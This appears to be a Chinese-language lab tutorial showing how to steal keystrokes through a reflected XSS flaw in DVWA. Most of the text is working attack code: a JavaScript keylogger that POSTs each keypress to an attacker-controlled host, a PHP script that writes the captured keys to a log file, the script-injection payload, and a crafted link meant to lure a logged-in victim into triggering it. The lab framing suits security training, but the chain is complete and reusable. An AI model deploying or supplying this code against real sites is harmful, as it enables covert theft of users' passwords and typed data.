- 在kali的/var/www/html/目录下创建三个文件
(1)keylogger.js
远程js脚本文件,用于点击后访问此文件
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.50.115/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
启动apached后,确定keylogger.js能够正常访问
访问keylogger.js
(2)keylogger.php
用于接收键盘记录后的网站
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
(3)keylog.txt
真正用于保存键盘记录的文件,创建一个keylog.txt的空文件
#chmod 777 keylog.txt //修改此文件为可读可写
- 开始测试
首先,在xss reflected上插入如下代码:
<script src="http://192.168.50.115/keylogger.js"></script>
然后执行,此时,在主页面上不会出现什么内容,但是,如果在当前页面上随便的敲击一些字符,然后在查看keylog.txt,看是否能被记录。
提交后,在页面上随便的敲击键盘,然后查看keylog.txt结果,发现已经被记录。
查看键盘记录
- 进阶
上面的攻击比较直接,如果像下面这样,首先确保用户登录成功,在相应页面中,然后诱使被攻击着点击链接,点击后,自动到xss reflected的页面下,在页面中进行键盘输入,输入的内容都能够被记录下来,也具有一定的隐蔽性。
<a href="http://192.168.50.183/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.50.115/keylogger.js'></script>">xss attack</a>
诱使用户点击
下面输入的数字,为点击后输入。
键盘记录
网友评论